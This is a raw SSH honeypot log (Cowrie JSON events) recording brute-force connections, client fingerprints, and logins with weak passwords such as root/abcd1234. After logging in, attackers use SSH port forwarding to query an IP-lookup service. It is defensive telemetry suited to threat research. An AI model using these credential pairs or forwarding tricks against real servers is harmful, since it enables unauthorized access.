{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.150.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03C\\xb8~\\xbe\\x85\\xd9`\\x1c\\xa8\\xcb[\\x7f\\x86=^\\x1e2\\xf3\\xb1\\xd1Y\\xa7C6\\x1aD\\x83z\\x069\\x9a\\xac H\\xaa\\x92\\x88\\x950u\\x9d[\\x99\\xfb\\xb7\\xb5st\\x0b\\xf5l#\\xe3\\xa3S\\xb9\\x1a\\x12\\xd9~\\x02Lb\\xe4\\xa6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 059`\\xd4_\\xa7`\\x0b\\xa1x\\xe5UC\\x96\\x00\\x84q\\x14S\\x8d\\xd2\\xd2\\xc9\\xc4\\x15ys\\xc4P\\x86{\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.150.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03C\\xb8~\\xbe\\x85\\xd9`\\x1c\\xa8\\xcb[\\x7f\\x86=^\\x1e2\\xf3\\xb1\\xd1Y\\xa7C6\\x1aD\\x83z\\x069\\x9a\\xac H\\xaa\\x92\\x88\\x950u\\x9d[\\x99\\xfb\\xb7\\xb5st\\x0b\\xf5l#\\xe3\\xa3S\\xb9\\x1a\\x12\\xd9~\\x02Lb\\xe4\\xa6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 059`\\xd4_\\xa7`\\x0b\\xa1x\\xe5UC\\x96\\x00\\x84q\\x14S\\x8d\\xd2\\xd2\\xc9\\xc4\\x15ys\\xc4P\\x86{\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:52:12.952468Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.2","message":"Connection lost after 41.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:52:15.131978Z","src_ip":"80.94.95.118","session":"376b91bd107e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":52560,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0f8a13da14","protocol":"ssh","message":"New connection: 166.1.60.230:52560 (10.17.0.5:22) [session: 1f0f8a13da14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:54:42.393092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:54:42.397346Z","src_ip":"166.1.60.230","session":"1f0f8a13da14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:54:42.402073Z","src_ip":"166.1.60.230","session":"1f0f8a13da14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aA-123","message":"login attempt [admin/aA-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:54:42.456810Z","src_ip":"166.1.60.230","session":"1f0f8a13da14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:54:43.465050Z","src_ip":"166.1.60.230","session":"1f0f8a13da14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"aceb15073bb4","protocol":"ssh","message":"New connection: 27.79.44.181:57008 (10.17.0.5:22) [session: aceb15073bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:11.062388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:11.111620Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:11.332927Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ipscan","message":"login attempt [root/ipscan] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:12.514375Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.44.181","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:12.975581Z","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:13.297245Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:13.300968Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:55:13.575414Z","src_ip":"27.79.44.181","session":"aceb15073bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.102","src_port":40550,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf666bb42b6","protocol":"ssh","message":"New connection: 45.142.154.102:40550 (10.17.0.5:22) [session: 5bf666bb42b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.018898Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":40896,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3249a5fd45","protocol":"ssh","message":"New connection: 27.79.5.10:40896 (10.17.0.5:22) [session: ec3249a5fd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.093664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.222797Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.372639Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.102","src_port":40698,"dst_ip":"10.17.0.5","dst_port":22,"session":"9febed018fb9","protocol":"ssh","message":"New connection: 45.142.154.102:40698 (10.17.0.5:22) [session: 9febed018fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.417148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.422102Z","src_ip":"45.142.154.102","session":"9febed018fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.621911Z","src_ip":"45.142.154.102","session":"9febed018fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:10.832797Z","src_ip":"45.142.154.102","session":"5bf666bb42b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:11.499665Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.5.10","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:11.799475Z","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:12.105803Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:12.109559Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:12.489373Z","src_ip":"27.79.5.10","session":"ec3249a5fd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:25.417937Z","src_ip":"45.142.154.102","session":"9febed018fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":38348,"dst_ip":"10.17.0.5","dst_port":22,"session":"71213b19fba4","protocol":"ssh","message":"New connection: 166.1.60.230:38348 (10.17.0.5:22) [session: 71213b19fba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:37.049135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:57:37.052463Z","src_ip":"166.1.60.230","session":"71213b19fba4","protocol":"ssh"}
